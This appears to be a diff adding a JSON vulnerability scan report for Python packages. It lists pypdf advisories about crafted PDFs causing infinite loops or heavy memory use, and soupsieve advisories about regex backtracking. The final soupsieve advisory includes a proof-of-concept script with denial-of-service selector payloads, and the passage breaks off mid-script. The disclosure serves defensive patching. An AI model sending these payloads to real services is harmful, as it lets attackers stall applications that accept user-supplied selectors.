"https://github.com/advisories/GHSA-jp53-mhqp-8xcg" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-84309" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", + "type": "CVSS_V4" + } + ], + "summary": "pypdf: Possible infinite loop for TreeObject.insert_child" + }, + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-23w6-3w8w-8484/GHSA-23w6-3w8w-8484.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "pypdf", + "purl": "pkg:pypi/pypdf" + }, + "ranges": [ + { + "events": [ + { + "introduced": "0" + }, + { + "fixed": "6.16.1" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "1.0", + "1.1", + "1.10", + "1.11", + "1.12", + "1.13", + "1.2", + "1.3", + "1.4", + "1.5", + "1.6", + "1.7", + "1.8", + "1.9", + "3.1.0", + "3.10.0", + "3.11.0", + "3.11.1", + "3.12.0", + "3.12.1", + "3.12.2", + "3.13.0", + "3.14.0", + "3.15.0", + "3.15.1", + "3.15.2", + "3.15.3", + "3.15.4", + "3.15.5", + "3.16.0", + "3.16.1", + "3.16.2", + "3.16.3", + "3.16.4", + "3.17.0", + "3.17.1", + "3.17.2", + "3.17.3", + "3.17.4", + "3.2.0", + "3.2.1", + "3.3.0", + "3.4.0", + "3.4.1", + "3.5.0", + "3.5.1", + "3.5.2", + "3.6.0", + "3.7.0", + "3.7.1", + "3.8.0", + "3.8.1", + "3.9.0", + "3.9.1", + "4.0.0", + "4.0.1", + "4.0.2", + "4.1.0", + "4.2.0", + "4.3.0", + "4.3.1", + "5.0.0", + "5.0.1", + "5.1.0", + "5.2.0", + "5.3.0", + "5.3.1", + "5.4.0", + "5.5.0", + "5.6.0", + "5.6.1", + "5.7.0", + "5.8.0", + "5.9.0", + "6.0.0", + "6.1.0", + "6.1.1", + "6.1.2", + "6.1.3", + "6.10.0", + "6.10.1", + "6.10.2", + "6.11.0", + "6.12.0", + "6.12.1", + "6.12.2", + "6.13.0", + "6.13.1", + "6.13.2", + "6.13.3", + "6.14.0", + "6.14.1", + "6.14.2", + "6.15.0", + "6.16.0", + "6.2.0", + "6.3.0", + "6.4.0", + "6.4.1", + "6.4.2", + "6.5.0", + "6.6.0", + "6.6.1", + "6.6.2", + "6.7.0", + "6.7.1", + "6.7.2", + "6.7.3", + "6.7.4", + "6.7.5", + "6.8.0", + "6.9.0", + "6.9.1", + "6.9.2" + ] + } + ], + "aliases": [ + "CVE-2026-84310", + "PYSEC-2026-3910" + ], + "database_specific": { + "cwe_ids": [ + "CWE-405", + "CWE-834" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-01T21:28:37Z", + "nvd_published_at": null, + "severity": "MODERATE" + }, + "details": "### Impact\n\nAn attacker who uses this vulnerability can craft a PDF which leads to long runtimes and large memory consumption. This requires accessing the outlines of a document with either lots of entries or nested outlines with long re-used nesting paths.\n\n### Patches\n\nThis has been fixed in [pypdf==6.16.1](https://github.com/py-pdf/pypdf/releases/tag/6.16.1).\n\n### Workarounds\n\nIf you cannot upgrade yet, consider applying the changes from PR [#3966](https://github.com/py-pdf/pypdf/pull/3966).", + "id": "GHSA-23w6-3w8w-8484", + "modified": "2026-09-10T12:25:45.197931157Z", + "published": "2026-09-01T21:28:37Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/security/advisories/GHSA-23w6-3w8w-8484" + }, + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/pull/3966" + }, + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/commit/d91ab705fd81ed1a9cec175c6958600dea1a4942" + }, + { + "type": "PACKAGE", + "url": "https://github.com/py-pdf/pypdf" + }, + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/releases/tag/6.16.1" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N", + "type": "CVSS_V4" + } + ], + "summary": "pypdf: Possible long runtimes/large memory usage when retrieving outlines" + }, + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-763m-79hh-57f2/GHSA-763m-79hh-57f2.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "pypdf", + "purl": "pkg:pypi/pypdf" + }, + "ranges": [ + { + "events": [ + { + "introduced": "0" + }, + { + "fixed": "6.16.1" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "1.0", + "1.1", + "1.10", + "1.11", + "1.12", + "1.13", + "1.2", + "1.3", + "1.4", + "1.5", + "1.6", + "1.7", + "1.8", + "1.9", + "3.1.0", + "3.10.0", + "3.11.0", + "3.11.1", + "3.12.0", + "3.12.1", + "3.12.2", + "3.13.0", + "3.14.0", + "3.15.0", + "3.15.1", + "3.15.2", + "3.15.3", + "3.15.4", + "3.15.5", + "3.16.0", + "3.16.1", + "3.16.2", + "3.16.3", + "3.16.4", + "3.17.0", + "3.17.1", + "3.17.2", + "3.17.3", + "3.17.4", + "3.2.0", + "3.2.1", + "3.3.0", + "3.4.0", + "3.4.1", + "3.5.0", + "3.5.1", + "3.5.2", + "3.6.0", + "3.7.0", + "3.7.1", + "3.8.0", + "3.8.1", + "3.9.0", + "3.9.1", + "4.0.0", + "4.0.1", + "4.0.2", + "4.1.0", + "4.2.0", + "4.3.0", + "4.3.1", + "5.0.0", + "5.0.1", + "5.1.0", + "5.2.0", + "5.3.0", + "5.3.1", + "5.4.0", + "5.5.0", + "5.6.0", + "5.6.1", + "5.7.0", + "5.8.0", + "5.9.0", + "6.0.0", + "6.1.0", + "6.1.1", + "6.1.2", + "6.1.3", + "6.10.0", + "6.10.1", + "6.10.2", + "6.11.0", + "6.12.0", + "6.12.1", + "6.12.2", + "6.13.0", + "6.13.1", + "6.13.2", + "6.13.3", + "6.14.0", + "6.14.1", + "6.14.2", + "6.15.0", + "6.16.0", + "6.2.0", + "6.3.0", + "6.4.0", + "6.4.1", + "6.4.2", + "6.5.0", + "6.6.0", + "6.6.1", + "6.6.2", + "6.7.0", + "6.7.1", + "6.7.2", + "6.7.3", + "6.7.4", + "6.7.5", + "6.8.0", + "6.9.0", + "6.9.1", + "6.9.2" + ] + } + ], + "aliases": [ + "CVE-2026-84311", + "PYSEC-2026-3911" + ], + "database_specific": { + "cwe_ids": [ + "CWE-834" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-01T21:27:22Z", + "nvd_published_at": null, + "severity": "MODERATE" + }, + "details": "### Impact\n\nAn attacker who uses this vulnerability can craft a PDF which leads to long runtimes and large memory consumption. This requires extracting the text of a page with lots of XForm objects, where some of them might be re-used.\n\n### Patches\n\nThis has been fixed in [pypdf==6.16.1](https://github.com/py-pdf/pypdf/releases/tag/6.16.1).\n\n### Workarounds\n\nIf you cannot upgrade yet, consider applying the changes from PR [#3966](https://github.com/py-pdf/pypdf/pull/3966).", + "id": "GHSA-763m-79hh-57f2", + "modified": "2026-09-10T12:26:04.098858222Z", + "published": "2026-09-01T21:27:22Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/security/advisories/GHSA-763m-79hh-57f2" + }, + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/pull/3966" + }, + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/commit/d91ab705fd81ed1a9cec175c6958600dea1a4942" + }, + { + "type": "PACKAGE", + "url": "https://github.com/py-pdf/pypdf" + }, + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/releases/tag/6.16.1" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N", + "type": "CVSS_V4" + } + ], + "summary": "pypdf: Possible long runtimes/large memory usage when extracting XForm objects" + }, + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-fc8x-2rww-xw9m/GHSA-fc8x-2rww-xw9m.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "pypdf", + "purl": "pkg:pypi/pypdf" + }, + "ranges": [ + { + "events": [ + { + "introduced": "0" + }, + { + "fixed": "6.15.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "1.0", + "1.1", + "1.10", + "1.11", + "1.12", + "1.13", + "1.2", + "1.3", + "1.4", + "1.5", + "1.6", + "1.7", + "1.8", + "1.9", + "3.1.0", + "3.10.0", + "3.11.0", + "3.11.1", + "3.12.0", + "3.12.1", + "3.12.2", + "3.13.0", + "3.14.0", + "3.15.0", + "3.15.1", + "3.15.2", + "3.15.3", + "3.15.4", + "3.15.5", + "3.16.0", + "3.16.1", + "3.16.2", + "3.16.3", + "3.16.4", + "3.17.0", + "3.17.1", + "3.17.2", + "3.17.3", + "3.17.4", + "3.2.0", + "3.2.1", + "3.3.0", + "3.4.0", + "3.4.1", + "3.5.0", + "3.5.1", + "3.5.2", + "3.6.0", + "3.7.0", + "3.7.1", + "3.8.0", + "3.8.1", + "3.9.0", + "3.9.1", + "4.0.0", + "4.0.1", + "4.0.2", + "4.1.0", + "4.2.0", + "4.3.0", + "4.3.1", + "5.0.0", + "5.0.1", + "5.1.0", + "5.2.0", + "5.3.0", + "5.3.1", + "5.4.0", + "5.5.0", + "5.6.0", + "5.6.1", + "5.7.0", + "5.8.0", + "5.9.0", + "6.0.0", + "6.1.0", + "6.1.1", + "6.1.2", + "6.1.3", + "6.10.0", + "6.10.1", + "6.10.2", + "6.11.0", + "6.12.0", + "6.12.1", + "6.12.2", + "6.13.0", + "6.13.1", + "6.13.2", + "6.13.3", + "6.14.0", + "6.14.1", + "6.14.2", + "6.2.0", + "6.3.0", + "6.4.0", + "6.4.1", + "6.4.2", + "6.5.0", + "6.6.0", + "6.6.1", + "6.6.2", + "6.7.0", + "6.7.1", + "6.7.2", + "6.7.3", + "6.7.4", + "6.7.5", + "6.8.0", + "6.9.0", + "6.9.1", + "6.9.2" + ] + } + ], + "aliases": [ + "CVE-2026-82398", + "PYSEC-2026-3912" + ], + "database_specific": { + "cwe_ids": [ + "CWE-407" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-02T14:38:12Z", + "nvd_published_at": "2026-08-31T22:17:23Z", + "severity": "MODERATE" + }, + "details": "### Impact\nAn attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires a call to `read_until_whitespace` with an input which does not have whitespace for a long time.\n\n### Patches\nThis has been fixed in [pypdf==6.15.0](https://github.com/py-pdf/pypdf/releases/tag/6.15.0).\n\n### Workarounds\nIf you cannot upgrade yet, consider applying the changes from PR [#3947](https://github.com/py-pdf/pypdf/pull/3947).", + "id": "GHSA-fc8x-2rww-xw9m", + "modified": "2026-09-10T12:25:53.327187326Z", + "published": "2026-09-02T14:38:12Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/security/advisories/GHSA-fc8x-2rww-xw9m" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-82398" + }, + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/pull/3947" + }, + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/commit/4959848e057e37c218dccad7465259210923faaa" + }, + { + "type": "PACKAGE", + "url": "https://github.com/py-pdf/pypdf" + }, + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/releases/tag/6.15.0" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N", + "type": "CVSS_V4" + } + ], + "summary": "pypdf: Inefficient handling of non-whitespace inputs in read_until_whitespace" + }, + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-fp3f-mc75-235c/GHSA-fp3f-mc75-235c.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "pypdf", + "purl": "pkg:pypi/pypdf" + }, + "ranges": [ + { + "events": [ + { + "introduced": "0" + }, + { + "fixed": "6.15.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "1.0", + "1.1", + "1.10", + "1.11", + "1.12", + "1.13", + "1.2", + "1.3", + "1.4", + "1.5", + "1.6", + "1.7", + "1.8", + "1.9", + "3.1.0", + "3.10.0", + "3.11.0", + "3.11.1", + "3.12.0", + "3.12.1", + "3.12.2", + "3.13.0", + "3.14.0", + "3.15.0", + "3.15.1", + "3.15.2", + "3.15.3", + "3.15.4", + "3.15.5", + "3.16.0", + "3.16.1", + "3.16.2", + "3.16.3", + "3.16.4", + "3.17.0", + "3.17.1", + "3.17.2", + "3.17.3", + "3.17.4", + "3.2.0", + "3.2.1", + "3.3.0", + "3.4.0", + "3.4.1", + "3.5.0", + "3.5.1", + "3.5.2", + "3.6.0", + "3.7.0", + "3.7.1", + "3.8.0", + "3.8.1", + "3.9.0", + "3.9.1", + "4.0.0", + "4.0.1", + "4.0.2", + "4.1.0", + "4.2.0", + "4.3.0", + "4.3.1", + "5.0.0", + "5.0.1", + "5.1.0", + "5.2.0", + "5.3.0", + "5.3.1", + "5.4.0", + "5.5.0", + "5.6.0", + "5.6.1", + "5.7.0", + "5.8.0", + "5.9.0", + "6.0.0", + "6.1.0", + "6.1.1", + "6.1.2", + "6.1.3", + "6.10.0", + "6.10.1", + "6.10.2", + "6.11.0", + "6.12.0", + "6.12.1", + "6.12.2", + "6.13.0", + "6.13.1", + "6.13.2", + "6.13.3", + "6.14.0", + "6.14.1", + "6.14.2", + "6.2.0", + "6.3.0", + "6.4.0", + "6.4.1", + "6.4.2", + "6.5.0", + "6.6.0", + "6.6.1", + "6.6.2", + "6.7.0", + "6.7.1", + "6.7.2", + "6.7.3", + "6.7.4", + "6.7.5", + "6.8.0", + "6.9.0", + "6.9.1", + "6.9.2" + ] + } + ], + "aliases": [ + "CVE-2026-71870", + "PYSEC-2026-3655" + ], + "database_specific": { + "cwe_ids": [ + "CWE-400" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-08-07T19:29:09Z", + "nvd_published_at": null, + "severity": "MODERATE" + }, + "details": "### Impact\n\nAn attacker who uses this vulnerability can craft a PDF which leads to large memory consumption. This requires parsing the `/ToUnicode` entry of a font with unusually large values, for example during text extraction.\n\n### Patches\n\nThis has been fixed in [pypdf==6.15.0](https://github.com/py-pdf/pypdf/releases/tag/6.15.0).\n\n### Workarounds\n\nIf you cannot upgrade yet, consider applying the changes from PR [#3944](https://github.com/py-pdf/pypdf/pull/3944).", + "id": "GHSA-fp3f-mc75-235c", + "modified": "2026-09-10T03:51:13.982103349Z", + "published": "2026-08-07T19:29:09Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/security/advisories/GHSA-fp3f-mc75-235c" + }, + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/pull/3944" + }, + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/commit/afba8080e19d29a3c256a742b340995e695b35aa" + }, + { + "type": "PACKAGE", + "url": "https://github.com/py-pdf/pypdf" + }, + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/releases/tag/6.15.0" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N", + "type": "CVSS_V4" + } + ], + "summary": "pypdf: Possible large memory usage for large /ToUnicode streams" + }, + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-fwg2-594c-jp42/GHSA-fwg2-594c-jp42.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "pypdf", + "purl": "pkg:pypi/pypdf" + }, + "ranges": [ + { + "events": [ + { + "introduced": "0" + }, + { + "fixed": "6.15.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "1.0", + "1.1", + "1.10", + "1.11", + "1.12", + "1.13", + "1.2", + "1.3", + "1.4", + "1.5", + "1.6", + "1.7", + "1.8", + "1.9", + "3.1.0", + "3.10.0", + "3.11.0", + "3.11.1", + "3.12.0", + "3.12.1", + "3.12.2", + "3.13.0", + "3.14.0", + "3.15.0", + "3.15.1", + "3.15.2", + "3.15.3", + "3.15.4", + "3.15.5", + "3.16.0", + "3.16.1", + "3.16.2", + "3.16.3", + "3.16.4", + "3.17.0", + "3.17.1", + "3.17.2", + "3.17.3", + "3.17.4", + "3.2.0", + "3.2.1", + "3.3.0", + "3.4.0", + "3.4.1", + "3.5.0", + "3.5.1", + "3.5.2", + "3.6.0", + "3.7.0", + "3.7.1", + "3.8.0", + "3.8.1", + "3.9.0", + "3.9.1", + "4.0.0", + "4.0.1", + "4.0.2", + "4.1.0", + "4.2.0", + "4.3.0", + "4.3.1", + "5.0.0", + "5.0.1", + "5.1.0", + "5.2.0", + "5.3.0", + "5.3.1", + "5.4.0", + "5.5.0", + "5.6.0", + "5.6.1", + "5.7.0", + "5.8.0", + "5.9.0", + "6.0.0", + "6.1.0", + "6.1.1", + "6.1.2", + "6.1.3", + "6.10.0", + "6.10.1", + "6.10.2", + "6.11.0", + "6.12.0", + "6.12.1", + "6.12.2", + "6.13.0", + "6.13.1", + "6.13.2", + "6.13.3", + "6.14.0", + "6.14.1", + "6.14.2", + "6.2.0", + "6.3.0", + "6.4.0", + "6.4.1", + "6.4.2", + "6.5.0", + "6.6.0", + "6.6.1", + "6.6.2", + "6.7.0", + "6.7.1", + "6.7.2", + "6.7.3", + "6.7.4", + "6.7.5", + "6.8.0", + "6.9.0", + "6.9.1", + "6.9.2" + ] + } + ], + "aliases": [ + "CVE-2026-71852", + "PYSEC-2026-3656" + ], + "database_specific": { + "cwe_ids": [ + "CWE-834" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-08-07T18:54:00Z", + "nvd_published_at": null, + "severity": "MODERATE" + }, + "details": "### Impact\n\nAn attacker who uses this vulnerability can craft a PDF which leads to long runtimes and large memory consumption. This requires parsing the font width entries of a font with unusually large values, for example during text extraction.\n\n### Patches\n\nThis has been fixed in [pypdf==6.15.0](https://github.com/py-pdf/pypdf/releases/tag/6.15.0).\n\n### Workarounds\n\nIf you cannot upgrade yet, consider applying the changes from PR [#3946](https://github.com/py-pdf/pypdf/pull/3946).", + "id": "GHSA-fwg2-594c-jp42", + "modified": "2026-09-10T03:51:13.932861945Z", + "published": "2026-08-07T18:54:00Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/security/advisories/GHSA-fwg2-594c-jp42" + }, + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/pull/3946" + }, + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/commit/51cb6acf9e8a35b77e90b4d87d28fe3e1416d7d7" + }, + { + "type": "PACKAGE", + "url": "https://github.com/py-pdf/pypdf" + }, + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/releases/tag/6.15.0" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N", + "type": "CVSS_V4" + } + ], + "summary": "pypdf: Possible long runtimes/large memory usage for large CID font width ranges" + }, + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-jp53-mhqp-8xcg/GHSA-jp53-mhqp-8xcg.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "pypdf", + "purl": "pkg:pypi/pypdf" + }, + "ranges": [ + { + "events": [ + { + "introduced": "0" + }, + { + "fixed": "6.16.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "1.0", + "1.1", + "1.10", + "1.11", + "1.12", + "1.13", + "1.2", + "1.3", + "1.4", + "1.5", + "1.6", + "1.7", + "1.8", + "1.9", + "3.1.0", + "3.10.0", + "3.11.0", + "3.11.1", + "3.12.0", + "3.12.1", + "3.12.2", + "3.13.0", + "3.14.0", + "3.15.0", + "3.15.1", + "3.15.2", + "3.15.3", + "3.15.4", + "3.15.5", + "3.16.0", + "3.16.1", + "3.16.2", + "3.16.3", + "3.16.4", + "3.17.0", + "3.17.1", + "3.17.2", + "3.17.3", + "3.17.4", + "3.2.0", + "3.2.1", + "3.3.0", + "3.4.0", + "3.4.1", + "3.5.0", + "3.5.1", + "3.5.2", + "3.6.0", + "3.7.0", + "3.7.1", + "3.8.0", + "3.8.1", + "3.9.0", + "3.9.1", + "4.0.0", + "4.0.1", + "4.0.2", + "4.1.0", + "4.2.0", + "4.3.0", + "4.3.1", + "5.0.0", + "5.0.1", + "5.1.0", + "5.2.0", + "5.3.0", + "5.3.1", + "5.4.0", + "5.5.0", + "5.6.0", + "5.6.1", + "5.7.0", + "5.8.0", + "5.9.0", + "6.0.0", + "6.1.0", + "6.1.1", + "6.1.2", + "6.1.3", + "6.10.0", + "6.10.1", + "6.10.2", + "6.11.0", + "6.12.0", + "6.12.1", + "6.12.2", + "6.13.0", + "6.13.1", + "6.13.2", + "6.13.3", + "6.14.0", + "6.14.1", + "6.14.2", + "6.15.0", + "6.2.0", + "6.3.0", + "6.4.0", + "6.4.1", + "6.4.2", + "6.5.0", + "6.6.0", + "6.6.1", + "6.6.2", + "6.7.0", + "6.7.1", + "6.7.2", + "6.7.3", + "6.7.4", + "6.7.5", + "6.8.0", + "6.9.0", + "6.9.1", + "6.9.2" + ] + } + ], + "aliases": [ + "CVE-2026-84309", + "PYSEC-2026-3913" + ], + "database_specific": { + "cwe_ids": [ + "CWE-835" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-01T21:20:20Z", + "nvd_published_at": null, + "severity": "MODERATE" + }, + "details": "### Impact\n\nAn attacker who uses this vulnerability can craft a PDF which leads to an infinite loop. This requires a (usually writing) code path where `TreeObject.insert_child` is involved.\n\n### Patches\n\nThis has been fixed in [pypdf==6.16.0](https://github.com/py-pdf/pypdf/releases/tag/6.16.0).\n\n### Workarounds\n\nIf you cannot upgrade yet, consider applying the changes from PR [#3964](https://github.com/py-pdf/pypdf/pull/3964).", + "id": "GHSA-jp53-mhqp-8xcg", + "modified": "2026-09-10T12:25:36.667036932Z", + "published": "2026-09-01T21:20:20Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/security/advisories/GHSA-jp53-mhqp-8xcg" + }, + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/pull/3964" + }, + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/commit/c9ba557d565d57c53a0b3a0be06c0a4c29b0559b" + }, + { + "type": "PACKAGE", + "url": "https://github.com/py-pdf/pypdf" + }, + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/releases/tag/6.16.0" + } + ], + "schema_version": "1.9.0", + "severity": [ + { + "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", + "type": "CVSS_V4" + } + ], + "summary": "pypdf: Possible infinite loop for TreeObject.insert_child" + } + ] + }, + { + "package": { + "name": "soupsieve", + "version": "2.8.4", + "ecosystem": "PyPI" + }, + "groups": [ + { + "ids": [ + "GHSA-gjv8-xp57-g29c" + ], + "aliases": [ + "CVE-2026-86000", + "GHSA-gjv8-xp57-g29c" + ], + "max_severity": "5.3" + }, + { + "ids": [ + "GHSA-j934-xhv5-fg8f" + ], + "aliases": [ + "CVE-2026-85999", + "GHSA-j934-xhv5-fg8f" + ], + "max_severity": "5.3" + } + ], + "vulnerabilities": [ + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-gjv8-xp57-g29c/GHSA-gjv8-xp57-g29c.json" + }, + "package": { + "ecosystem": "PyPI", + "name": "soupsieve", + "purl": "pkg:pypi/soupsieve" + }, + "ranges": [ + { + "events": [ + { + "introduced": "0" + }, + { + "fixed": "2.9.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "0.4", + "0.5", + "0.5.1", + "0.5.2", + "0.5.3", + "0.6", + "1.0", + "1.0.1", + "1.0.2", + "1.0b1", + "1.0b2", + "1.1", + "1.2", + "1.2.1", + "1.3", + "1.3.1", + "1.4", + "1.5", + "1.6", + "1.6.1", + "1.6.2", + "1.7", + "1.7.1", + "1.7.2", + "1.7.3", + "1.8", + "1.9", + "1.9.1", + "1.9.2", + "1.9.3", + "1.9.4", + "1.9.5", + "1.9.6", + "2.0", + "2.0.1", + "2.1", + "2.2", + "2.2.1", + "2.3", + "2.3.1", + "2.3.2", + "2.3.2.post1", + "2.4", + "2.4.1", + "2.5", + "2.6", + "2.7", + "2.8", + "2.8.1", + "2.8.2", + "2.8.3", + "2.8.4" + ] + } + ], + "aliases": [ + "CVE-2026-86000" + ], + "database_specific": { + "cwe_ids": [ + "CWE-1333", + "CWE-400" + ], + "github_reviewed": true, + "github_reviewed_at": "2026-09-17T20:32:58Z", + "nvd_published_at": "2026-09-17T16:18:16Z", + "severity": "MODERATE" + }, + "details": "## Summary\n\nsoupsieve compiles CSS selector strings with a set of hand-written regular expressions. The shared `IDENTIFIER` sub-pattern (also embedded in `VALUE`, and therefore in attribute selectors) places two adjacent quantified groups over overlapping character classes: `(?:[classA]|ESC)+(?:[classB]|ESC)*`, where both classes match ordinary identifier characters such as `a`. When a selector contains a long identifier/value run that must ultimately fail to match (e.g. an attribute value with no closing `]`, or an identifier followed by an invalid character), the regex engine backtracks across all O(n) ways to split the run between the `+` group and the `*` group, giving O(n\u00b2) parse time. A single attacker-controlled selector of a few kilobytes stalls the interpreter for many seconds of CPU; tens of kilobytes reach minutes.\n\n## Trust model (Q0)\n\nThe selector string is the input. It reaches this code via `soupsieve.compile()`, `soupsieve.select/iselect/match/filter`, and \u2014 most commonly \u2014 BeautifulSoup's `soup.select(selector)` / `soup.select_one(selector)`, which delegate to soupsieve. This is exploitable in any application that passes a user-controlled CSS selector to BeautifulSoup/soupsieve (scrapers that accept selectors, no-code extraction tools, admin/query UIs). Applications that only use hard-coded selectors are not affected.\n\n## Root cause (exact anchors) \u2014 `src/soupsieve/css_parser.py`\n\n```python\n# lines 122-126\nIDENTIFIER = fr'''\n(?:(?:-?(?:[^\\x00-\\x2f\\x30-\\x40\\x5B-\\x5E\\x60\\x7B-\\x9f]|{CSS_ESCAPES})+|--)\n(?:[^\\x00-\\x2c\\x2e\\x2f\\x3A-\\x40\\x5B-\\x5E\\x60\\x7B-\\x9f]|{CSS_ESCAPES})*)\n'''\n# line 129 \u2014 VALUE embeds IDENTIFIER (so attribute values inherit the pattern)\nVALUE = fr'''(?:\"(?:\\\\(?:.|{NEWLINE})|[^\\\\\"\\r\\n\\f])*?\"|'...'|{IDENTIFIER})'''\n```\n\n- classA `[^\\x00-\\x2f\\x30-\\x40\\x5B-\\x5E\\x60\\x7B-\\x9f]` excludes digits (0x30-0x39); classB `[^\\x00-\\x2c\\x2e\\x2f\\x3A-\\x40\\x5B-\\x5E\\x60\\x7B-\\x9f]` allows digits. The intent is \"first char not a digit, remaining chars may be digits.\"\n- Both classes match ordinary letters (e.g. `a` = 0x61). The construct is therefore effectively `(?:C)+(?:C)*` over an overlapping class C \u2014 the canonical adjacent-quantifier shape that backtracks quadratically on a failing match.\n\nThe quadratic only manifests when the overall match must fail. `IDENTIFIER` matched greedily on `\"a\"*n` succeeds in linear time (~1 ms at n=32000). Anchoring it so a following element is mandatory and fails (`IDENTIFIER + \"$\"` against `\"a\"*n + \"!\"`) reproduces the O(n\u00b2) directly: n=2000 \u2192 44 ms, 4000 \u2192 257 ms, 8000 \u2192 743 ms, 16000 \u2192 2944 ms (~\u00d74 per \u00d72). Profiling `compile(\"[a=\" + \"a\"*4000)` shows only 12 `re.match` calls consuming 2.685 s \u2014 i.e. the cost is inside a single regex match, confirming regex backtracking (not loop overhead).\n\n## Reproduction environment (discipline #12 \u2014 published artifact)\n\n- git HEAD `751c57b` (2.9, `PYTHONPATH=src`): `cd src && python3 ../poc/poc_redos_compile.py`.\n- Published PyPI `soupsieve 2.8.4` (fresh `uv pip install soupsieve beautifulsoup4`): `cd poc && ../.venv-published/bin/python poc_redos_compile.py` \u2192 same O(n\u00b2) (evidence: `poc/evidence_redos_compile_PUBLISHED_2.8.4.log`).\n- Python 3.11.15 and 3.14.6 both reproduce.\n\n## PoC (`poc/poc_redos_compile.py`)\n\n```python\nimport sys, time\nsys.path.insert(0, \".\")\nimport soupsieve as sv\n\ndef compile_time(sel):\n t0 = time.perf_counter()\n try:\n sv.compile(sel)\n status = \"ok\"\n except Exception as e:\n status = type(e).__name__\n return (time.perf_counter() - t0), status\n\nprint(f\"soupsieve {sv.__version__}\\n\")\n\nprint(\"Payload A: '[a=' + 'a'*n (unterminated attribute value)\")\nfor n in (1000, 2000, 4000, 8000):\n dt, st = compile_time(\"[a=\" + \"a\" * n)\n print(f\" n={n:<6} len={3+n:<7} {dt*1000:9.1f} ms [{st}]\")\n\nprint(\"\\nPayload B: 'a'*n + '!' (identifier run + invalid trailing char)\")\nfor n in (2000, 4000, 8000, 16000):\n dt, st = compile_time(\"a\" * n + \"!\")\n print(f\" n={n:<6} len={n+1:<7} {dt*1000:9.1f} ms [{st}]\")\n\npayload = \"[a=\" + \"a\" * 